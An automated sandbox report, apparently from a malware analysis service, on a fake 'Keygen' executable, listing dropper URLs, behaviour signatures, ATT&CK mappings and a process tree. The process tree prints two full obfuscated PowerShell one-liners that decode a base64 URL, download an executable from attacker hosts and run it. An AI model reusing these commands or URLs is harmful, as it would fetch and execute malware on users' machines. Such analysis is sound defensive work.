201001-nyhbt4p25j_pw_infected[.]rar

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
4s
max time network
134s
platform
windows10_x64
resource
win10
submitted
01-10-2020 20:51

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General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (28).exe

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Signatures

Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

Keygen.exe

pid process

1980 Keygen.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

2312 timeout.exe
Modifies registry class 1 IoCs

Processes:

cmd.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings cmd.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

Keygen.exe

pid process

1980 Keygen.exe

pid	process
1980	Keygen.exe

pid	process
2312	timeout.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings	cmd.exe

pid	process
1980	Keygen.exe

Suspicious use of WriteProcessMemory 27 IoCs

Processes:

Keygen — копия (28).execmd.exemshta.exemshta.exe

description	pid	process	target process
PID 3912 wrote to memory of 1048	3912	Keygen — копия (28).exe	cmd.exe
PID 3912 wrote to memory of 1048	3912	Keygen — копия (28).exe	cmd.exe
PID 3912 wrote to memory of 1048	3912	Keygen — копия (28).exe	cmd.exe
PID 1048 wrote to memory of 1980	1048	cmd.exe	Keygen.exe
PID 1048 wrote to memory of 1980	1048	cmd.exe	Keygen.exe
PID 1048 wrote to memory of 1980	1048	cmd.exe	Keygen.exe
PID 1048 wrote to memory of 2160	1048	cmd.exe	mshta.exe
PID 1048 wrote to memory of 2160	1048	cmd.exe	mshta.exe
PID 1048 wrote to memory of 2160	1048	cmd.exe	mshta.exe
PID 1048 wrote to memory of 1944	1048	cmd.exe	mshta.exe
PID 1048 wrote to memory of 1944	1048	cmd.exe	mshta.exe
PID 1048 wrote to memory of 1944	1048	cmd.exe	mshta.exe
PID 2160 wrote to memory of 3828	2160	mshta.exe	powershell.exe
PID 2160 wrote to memory of 3828	2160	mshta.exe	powershell.exe
PID 2160 wrote to memory of 3828	2160	mshta.exe	powershell.exe
PID 1944 wrote to memory of 1272	1944	mshta.exe	powershell.exe
PID 1944 wrote to memory of 1272	1944	mshta.exe	powershell.exe
PID 1944 wrote to memory of 1272	1944	mshta.exe	powershell.exe
PID 1048 wrote to memory of 2312	1048	cmd.exe	timeout.exe
PID 1048 wrote to memory of 2312	1048	cmd.exe	timeout.exe
PID 1048 wrote to memory of 2312	1048	cmd.exe	timeout.exe
PID 1048 wrote to memory of 3880	1048	cmd.exe	mshta.exe
PID 1048 wrote to memory of 3880	1048	cmd.exe	mshta.exe
PID 1048 wrote to memory of 3880	1048	cmd.exe	mshta.exe
PID 1048 wrote to memory of 3624	1048	cmd.exe	mshta.exe
PID 1048 wrote to memory of 3624	1048	cmd.exe	mshta.exe
PID 1048 wrote to memory of 3624	1048	cmd.exe	mshta.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (28).exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (28).exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3912

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\2F82.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (28).exe""
2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1048

C:\Users\Admin\AppData\Local\Temp\2F82.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1980

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\2F82.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2160

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
PID:3828

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\2F82.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:1944

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
PID:1272

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:2312

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\2F82.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
PID:3880

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\2F82.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
PID:3624

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\2F82.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\2F82.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\2F82.tmp\b.hta

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C:\Users\Admin\AppData\Local\Temp\2F82.tmp\b1.hta

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C:\Users\Admin\AppData\Local\Temp\2F82.tmp\m.hta

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C:\Users\Admin\AppData\Local\Temp\2F82.tmp\m1.hta

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C:\Users\Admin\AppData\Local\Temp\2F82.tmp\start.bat

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memory/1048-0-0x0000000000000000-mapping.dmp

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memory/1272-12-0x0000000000000000-mapping.dmp

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memory/1272-16-0x000000006FFE0000-0x00000000706CE000-memory.dmp

Filesize
6.9MB

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memory/1944-9-0x0000000000000000-mapping.dmp

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memory/1980-3-0x0000000000000000-mapping.dmp

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memory/1980-2-0x0000000000000000-mapping.dmp

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memory/2160-7-0x0000000000000000-mapping.dmp

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memory/2312-13-0x0000000000000000-mapping.dmp

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memory/3624-27-0x0000000000000000-mapping.dmp

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memory/3828-11-0x0000000000000000-mapping.dmp

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memory/3828-17-0x000000006FFE0000-0x00000000706CE000-memory.dmp

Filesize
6.9MB

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memory/3828-22-0x0000000004CD0000-0x0000000004CD1000-memory.dmp

Filesize
4KB

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memory/3828-23-0x0000000007760000-0x0000000007761000-memory.dmp

Filesize
4KB

Download
memory/3880-21-0x0000000000000000-mapping.dmp

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